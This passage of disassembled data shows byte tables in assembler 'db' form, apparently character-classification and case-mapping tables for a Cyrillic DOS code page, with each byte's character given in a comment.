		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		db  81h	; │
		db    0	;  
		db    0	;  
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db    0	;  
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db    0	;  
		db    0	;  
		db  84h	; └
		db    0	;  
		db    0	;  
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db    0	;  
		db    0	;  
		db  86h	; ├
		db    0	;  
		db    0	;  
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db    0	;  
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db    0	;  
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db    0	;  
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db    0	;  
		db    0	;  
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db    0	;  
		db    0	;  
		db  96h	; √
		db    0	;  
		db    0	;  
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db    0	;  
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  11h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  12h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  13h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  14h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  15h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  16h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  17h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  18h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  19h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  20h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  21h	; !
		db    0	;  
		db    0	;  
		db    0	;  
		db  22h	; "
		db    0	;  
		db    0	;  
		db    0	;  
		db  23h	; #
		db    0	;  
		db    0	;  
		db    0	;  
		db  24h	; $
		db    0	;  
		db    0	;  
		db    0	;  
		db  25h	; %
		db    0	;  
		db    0	;  
		db    0	;  
		db  26h	; &
		db    0	;  
		db    0	;  
		db    0	;  
		db  27h	; '
		db    0	;  
		db    0	;  
		db    0	;  
		db  28h	; (
		db    0	;  
		db    0	;  
		db    0	;  
		db  29h	; )
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ah	; *
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Bh	; +
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Dh	; -
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Eh	; .
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Fh	; /
		db    0	;  
		db    0	;  
		db    0	;  
		db  30h	; 0
		db    0	;  
		db    0	;  
		db    0	;  
		db  31h	; 1
		db    0	;  
		db    0	;  
		db    0	;  
		db  32h	; 2
		db    0	;  
		db    0	;  
		db    0	;  
		db  33h	; 3
		db    0	;  
		db    0	;  
		db    0	;  
		db  34h	; 4
		db    0	;  
		db    0	;  
		db    0	;  
		db  35h	; 5
		db    0	;  
		db    0	;  
		db    0	;  
		db  36h	; 6
		db    0	;  
		db    0	;  
		db    0	;  
		db  37h	; 7
		db    0	;  
		db    0	;  
		db    0	;  
		db  38h	; 8
		db    0	;  
		db    0	;  
		db    0	;  
		db  39h	; 9
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Ah	; :
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Bh	; ;
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Ch	; <
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Dh	; =
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Eh	; >
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Fh	; ?
		db    0	;  
		db    0	;  
		db    0	;  
		db  40h	; @
		db    0	;  
		db    0	;  
		db    0	;  
		db  41h	; A
		db    0	;  
		db    0	;  
		db    0	;  
		db  42h	; B
		db    0	;  
		db    0	;  
		db    0	;  
		db  43h	; C
		db    0	;  
		db    0	;  
		db    0	;  
		db  44h	; D
		db    0	;  
		db    0	;  
		db    0	;  
		db  45h	; E
		db    0	;  
		db    0	;  
		db    0	;  
		db  46h	; F
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db    0	;  
		db    0	;  
		db    0	;  
		db  48h	; H
		db    0	;  
		db    0	;  
		db    0	;  
		db  49h	; I
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ah	; J
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Bh	; K
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Dh	; M
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Eh	; N
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Fh	; O
		db    0	;  
		db    0	;  
		db    0	;  
		db  50h	; P
		db    0	;  
		db    0	;  
		db    0	;  
		db  51h	; Q
		db    0	;  
		db    0	;  
		db    0	;  
		db  52h	; R
		db    0	;  
		db    0	;  
		db    0	;  
		db  53h	; S
		db    0	;  
		db    0	;  
		db    0	;  
		db  54h	; T
		db    0	;  
		db    0	;  
		db    0	;  
		db  55h	; U
		db    0	;  
		db    0	;  
		db    0	;  
		db  56h	; V
		db    0	;  
		db    0	;  
		db    0	;  
		db  57h	; W
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db    0	;  
		db    0	;  
		db    0	;  
		db  59h	; Y
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Ah	; Z
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Bh	; [
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Ch	; \
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Dh	; ]
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Eh	; ^
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Fh	; _
		db    0	;  
		db    0	;  
		db    0	;  
		db  60h	; `
		db    0	;  
		db    0	;  
		db    0	;  
		db  41h	; A
		db    0	;  
		db    0	;  
		db    0	;  
		db  42h	; B
		db    0	;  
		db    0	;  
		db    0	;  
		db  43h	; C
		db    0	;  
		db    0	;  
		db    0	;  
		db  44h	; D
		db    0	;  
		db    0	;  
		db    0	;  
		db  45h	; E
		db    0	;  
		db    0	;  
		db    0	;  
		db  46h	; F
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db    0	;  
		db    0	;  
		db    0	;  
		db  48h	; H
		db    0	;  
		db    0	;  
		db    0	;  
		db  49h	; I
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ah	; J
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Bh	; K
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Dh	; M
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Eh	; N
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Fh	; O
		db    0	;  
		db    0	;  
		db    0	;  
		db  50h	; P
		db    0	;  
		db    0	;  
		db    0	;  
		db  51h	; Q
		db    0	;  
		db    0	;  
		db    0	;  
		db  52h	; R
		db    0	;  
		db    0	;  
		db    0	;  
		db  53h	; S
		db    0	;  
		db    0	;  
		db    0	;  
		db  54h	; T
		db    0	;  
		db    0	;  
		db    0	;  
		db  55h	; U
		db    0	;  
		db    0	;  
		db    0	;  
		db  56h	; V
		db    0	;  
		db    0	;  
		db    0	;  
		db  57h	; W
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db    0	;  
		db    0	;  
		db    0	;  
		db  59h	; Y
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Ah	; Z
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Bh	; {
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Ch	; |
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Dh	; }
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Eh	; ~
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Fh	; 
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		db  81h	; │
		db    0	;  
		db    0	;  
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db    0	;  
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db    0	;  
		db    0	;  
		db  84h	; └
		db    0	;  
		db    0	;  
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db    0	;  
		db    0	;  
		db  86h	; ├
		db    0	;  
		db    0	;  
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db    0	;  
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db    0	;  
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db    0	;  
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db    0	;  
		db    0	;  
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db    0	;  
		db    0	;  
		db  96h	; √
		db    0	;  
		db    0	;  
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db    0	;  
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		db  81h	; │
		db    0	;  
		db    0	;  
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db    0	;  
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db    0	;  
		db    0	;  
		db  84h	; └
		db    0	;  
		db    0	;  
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db    0	;  
		db    0	;  
		db  86h	; ├
		db    0	;  
		db    0	;  
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db    0	;  
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db    0	;  
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db    0	;  
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db    0	;  
		db    0	;  
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db    0	;  
		db    0	;  
		db  96h	; √
		db    0	;  
		db    0	;  
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db    0	;  
